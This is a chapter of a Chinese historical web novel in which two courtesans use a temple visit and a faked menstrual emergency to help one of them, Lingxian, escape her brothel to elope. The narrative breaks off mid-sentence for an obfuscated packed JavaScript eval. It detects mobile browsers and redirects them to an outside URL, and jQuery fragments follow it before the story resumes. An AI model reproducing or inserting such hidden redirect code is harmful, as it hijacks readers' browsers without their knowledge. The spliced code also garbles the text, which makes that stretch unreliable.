金陵百姓已经有大半个月没见到日光了。


    这日却难得放晴，灰白高天悬着一个鸡蛋黄似的日头，边缘带着朦胧的毛边，吝啬地散着光热，但足以慰藉渴盼晴日已久的百姓了。


    他们趁着天晴浣洗衣裳，多日积攒的脏衣院子里晒不开，还晾到了门前。沿街一溜竹竿撑起花花绿绿的衣裳，如同店家招揽的旗幌。


    一辆不起眼的青篷马车穿过巷子，弗筠刚从车窗里探出半张脸，就被淅淅沥沥滴落的衣水淋了一头。


    她轻呼一声缩回车内，掏出手帕仔细擦拭额头，可脸上精心敷的珍珠粉到底被蹭花了一片。


    “一会儿就要打雷下雨，偏赶这时洗衣裳……真是可惜了我这妆，等会儿还要见徐公子呢。”她低声埋怨，去摸随身携带的怀镜，却遍寻不着，便用胳膊肘捅了捅身旁的凌仙，问道，“带镜子了么？”


    “我哪有闲心带这玩意儿。”凌仙语气里带着一丝烦躁。


    弗筠抬眼瞧她，只见她双肩耸着，腿不住地轻颤，不由得轻笑，“你能不能稍微松快些啊？别城门还没出，就被当贼扣下了。”


    “这么明显？”凌仙慌忙去整理自己的坐姿，心里仍狂跳得厉害。


    弗筠用手指了指车帘方向，用仅二人能听见的声量低语道，“那位虽不精明，眼睛却不瞎，你可稳着些。”


    凌仙亦学着她的样子悄声道，“那你与我说说话，说起话来我就不慌了。”


    弗筠托起腮来，目不转睛地盯着她，慢条斯理道，“虽说我已经上了你的贼船，可趁着船还没出港，不得不再劝你几句，从这虎狼窝里脱身的法子有很多，私奔是最下下策。不如等会儿在菩萨跟前祈祷一下晓花苑早日查封歇业，便打道回府，可好？”


    凌仙抿唇不语。


    弗筠说的道理她自然都懂，她也不是那种一时情热上脑，便听信男子海誓山盟、浑忘了自己是谁的人。


    她要与之私奔的人，并非萍水相逢、不知根底的陌路人，而是她朝思暮想了五年的哥哥陆炳。


    五年前，她和陆炳被迫失散，不防落入人牙子手中，被辗转卖到风月之地。


    这五年里，陆炳苦苦寻觅她的踪迹，如今终于重逢，哪有在泥淖里继续挣扎的道理。


    也不是没有试过走明路赎身，可鸨母瞧不上陆炳一介白丁，担心辱没晓花苑的招牌，故意将她的身价儿抬得高不可攀，彻底断了从良这条路。


    万般无奈，只好铤而走险。


    多亏弗筠愿意出手相助，凭她的面子说动鸨母答应她们今日出城上香。


    陆炳不日便要离开金陵，此次机缘千载难逢，凌仙不想错过，便摇头道，“已经五年了，我等不了了，我也不想等了。天下之大，总有我们可以容身的地方，哪怕逃到爪哇国去，自此隐姓埋名，我也心甘情愿。”


    弗筠用食指轻点下颌，沉吟道，“可我总觉得不太踏实，你这位哥哥要是真像你说得那般可靠，为何不亲自来接你，反倒要派别人呢？”


    依照先前约定好的计划，在她们抵达大报恩寺后，弗筠会帮忙引开龟公陈二，凌仙便伺机溜到后山，届时自会有陆炳安排好的亲信接应上她，至于那人的相貌、接头的信物，陆炳已同她交代得清楚无遗。


    凌仙与陆炳自幼相伴，自是相信他的为人，便笃定道，“许是他有事脱不开身，或是在外打点城郭关节……总之，他不会害我的。”


    “是么？”弗筠并未跟陆炳打过照面，对他的所知全出自凌仙之口，心中仍悬着半分迟疑。


    正说着，马车忽一拐弯，速度慢了下来。


    车外突然传来龟公陈二骂骂咧咧的抱怨，“娘的，这得排到猴年马月去。”


    弗筠将车帘掀开一线，打量了下四周再无湿衣，才放心地探出头来。


    只见马车已行至出城主路上，而出城人马车轿已排出一里地开外，像是从城门洞长出一条歪歪斜斜的触须，仍不断向外延伸。


    等候出城的路人三三两两交谈：


    “今个儿这是怎么了？查得这么严？”


    “听说是城外皇陵有祭祀大典呢，还是皇上特派的钦差大臣，专程从京城过来的。”


    “一个祭祀搞这么大阵仗？”


    “那可不是寻常的祭祀，皇上登基才三年，天下就闹得如此不太平，怕不是在向太祖皇帝告罪呢。”


    “今年确实邪性，南边涝北边旱，咱们这块还好，听说山东河南已经闹开饥荒，死了不少人呐。”


    ……


    弗筠侧耳静静听着，忽然自言自语道，“偏选这么个日子祭祀，不怕五雷轰顶么。”


    凌仙不禁将目光落在车厢底部躺着的两把油纸伞上，这还是出门前弗筠特意叮嘱带上的，说今日肯定会有雷雨，以防不测。


    陈二只当她胡言乱语，凌仙却知晓弗筠的真本事，她精擅观测天象之道，每回预测十有八九都不出错。


    因而凌仙私下常用“女诸葛”的诨号来打趣她。


    眼下，这位“女诸葛”又从荷包里掏出了三枚铜钱，合在手心上下翻飞，嘴里还念念有词。


    凌仙习以为常，等她停手便问，“什么兆头？”


    弗筠几不可察地松了口气，简短道，“天降贵人助逢凶化吉。”


    听到“凶”字，凌仙眉头轻微皱了下，问道，“是为我算的吗？”


    弗筠卖关子道，“是也不是。”


    “神神叨叨。”凌仙白了弗筠一眼，不再理她。


    约莫过了两刻钟，马车终于蠕行到了城门口，在一番例行公事的盘问后，依例还要掀开车帘亲验。


    在门军听说马车里坐着的是秦淮河畔的姑娘后，帘子便被急不可耐地掀开。


    然而在见着车内两张容颜后，门军却连到嘴边的诘问都忘了，只呆呆地张着口，色眯眯的眼睛里直欲流出涎水来。


    弗筠见到他的痴样儿，忍不住掩嘴一笑，“军爷，这马车可就我们姐妹二人，并无什么贼人。后面还有许多人等着出城呢，别因为我们误了时辰。”


    说着，她又媚眼一抛，语带娇媚，意有所指道，“改日来晓花苑，妾身让军爷看个够。”


    那清清泠泠的嗓音勾得人心痒难耐，身酥体软，然而在听到“晓花苑”三字时，门军脸色倏然冷却，面颊肌肉还隐隐抽搐。


    大张的车帘立刻耷拉下来，马车继续辘辘前行。


    晓花苑乃秦淮河畔最有名的销金窟，谈笑往来非富即贵，并非寻常人能轻易踏足的地方，光是见一次面，就要花掉门军一年俸禄。


    凌仙知弗筠故意这般说，便是想让他知难而退，可是被那样恶心黏腻的眼神扫过一遍，还是忍不住气上心来，胸膛微微起伏，双颊都染着薄红。


    一想到梳拢之后，等待她们的就是迎客卖笑的日子，心头更涌起一片凉寂。


    临别之际，她忍不住替弗筠忧心，“你可想好自己往后怎么办了？”


    “卦象不是说我会遇到贵人么？说不定我有机会从良呢。”弗筠道。


    原来那出卦是她为自己占的，凌仙恍悟过来，问道，“你的贵人难不成就是徐鸣珂？”


    自从徐鸣珂为她作了一幅画像后，弗筠便声名鹊起，身价水涨船高，在鸨母陈妈妈跟前说话也多了些分量。


    若非如此，陈妈妈也不会轻易放两位尚未梳拢的粉头出门。


    在凌仙心里，徐鸣珂自然当得起“贵人”二字。


    弗筠却只笑了笑，道，“谁知道呢，天意不可揣测。”


    话音刚落，车厢内光线骤然一暗，凌仙挑帘看去，方才那轮蛋黄日头已不见踪影，天幕被铅灰色厚云压得沉沉的，远处城门楼浸在昏灰里，确是一副山雨欲来之态。


    还真让弗筠说对了。


    出城后一路畅通，不久便抵大报恩寺。


    大报恩寺是当年皇家在都城金陵敕造的寺庙，如今都城北迁已有二十多年，这座昔日的皇都也褪去了曾经的王气，流


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978277|193548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于安逸守旧，承载着世人情愿寄托的大报恩寺，却依然香火不绝，不输往日繁盛。


    寺中香烟缭绕，善男信女如织。


    观音殿里，弗筠跪于蒲团，双手合十，极虔诚地磕了三个头，见凌仙仍怔在一旁，悄悄递了个眼色。


    凌仙瞥了眼紧随在侧的陈二，只得压下满心纷乱，也跟着拜了一拜。


    天际已是乌云席卷，宛若脏旧的棉絮般攒成一团，风声渐起，殿前香炉里的香烟也被吹得乱了形状。


    分明出门时还是日头高悬，老天的脸真是说变就变，陈二提着那两把伞，看向弗筠的眼神多了两分惊疑。


    见礼佛已毕，天又欲雨，他忙催二人动身返程。


    弗筠爽快应声，凌仙却迟迟未动，回头看去，她仍立在殿内，面色惨白无比，双手叠在腹前，眉头拧成一团，腿抬了两下都没跨过门槛。


    弗筠面上一慌，上前问道，“哟，这是怎么了？”


    凌仙开口却是有气无力，“小腹坠坠地疼，怕是来月事了。”


    陈二也跟了上来，见她裙后果然洇开一小片暗色，暗骂了一声，道，“事可真多，净给老子添乱。”


    “哎呦，快疼死我了，我怕是要拉肚子了，得赶紧去趟茅房。”向僧人问清方向，凌仙便攥着弗筠袖子，往东边禅房院去。


    陈二臭着脸紧跟其后，终于在禅院角落看见一间四四方方的茅房，土墙垒成，茅草盖顶，只有一个出口。


    他便守在门口，盯着二人进去，不过片刻，弗筠叉着腰出来，又气又恼，“出门没带月事带，里头连张草纸也没有，辛苦阿公在这里守着，我去给她借。”


    陈二在姑娘堆里做活，倒也不避讳这些，他唯一担心的事就是出一趟门把人弄丢了，便道，“先凑合着回去再说，坐在马车里又没人瞧见。”


    弗筠嗤笑，“难不成让她不擦就出来？您倒是不坐车里，我可还嫌味儿呢。”


    陈二面上一红，顿时被噎得说不出话来。这间茅房男女共用，为防备他人闯入，自然得有人在门口守着，可他一人顾不了两头。


    正犹豫间，雨丝已飘了下来，凉飕飕打在脸上，他啐了一口，骂道：“真他娘晦气！”


    弗筠忙撑伞遮住头顶，道，“这茅房就一个口，您在这儿，她还能飞了不成？我快去快回，总好过咱们仨都在这儿耗着淋雨。还是说，您去那边客舍问问？”


    陈二看着越下越密的雨，心里那点疑窦被烦躁压了下去，让他去借月事带，也属实不像话，便不耐烦地挥挥手道，“行了行了，快去快回！”


    弗筠立刻应了声，匆匆拐进了僧舍之间的狭窄通道，消失在渐密的雨帘之后。


    陈二抱着胳膊缩回屋檐下，眼睛却牢牢盯着茅房门口。


    凌仙似是担心自己被落下，在茅房里一刻不歇地同陈二说话，陈二敷衍着应声，渐渐那点残存的顾虑也散了。


    直到凌仙忽然不安地问了句，“弗筠不会偷偷跑了吧？”


    陈二面色一凛，弗筠离开的时间确实有些久了，心中惊疑不定。


    他只知近日有人要给凌仙赎身，只恐她心思活络，却从未往弗筠身上怀疑过。


    毕竟她这段时间众星捧月，俨然成了晓花苑的香饽饽，谁也不会想到她能生出旁的心思。


    但转念一想，平日里最爱出幺蛾子的，可不就是她么。


    恰见一名僧人撑伞路过，他忙拦住问，“和尚，你可是从北边过来的？有没有见过一个穿白衣的姑娘，四处问人借月事带？”


    僧人愣住，像是在消化那三字之意，随后摇头道，“不曾见过。”


    陈二一拍大腿：“坏了！这蹄子竟敢骗我。”说罢冲进雨幕。


    脚步声咚咚远去，凌仙不敢耽搁，迅速脱下被鸡血染污的比甲，将衣领撕扯开一道裂口，便扔在泥水里。


    她深吸一口气，头也不回地直奔后山而去，心里默念着，“弗筠，你可千万要全身而退啊……”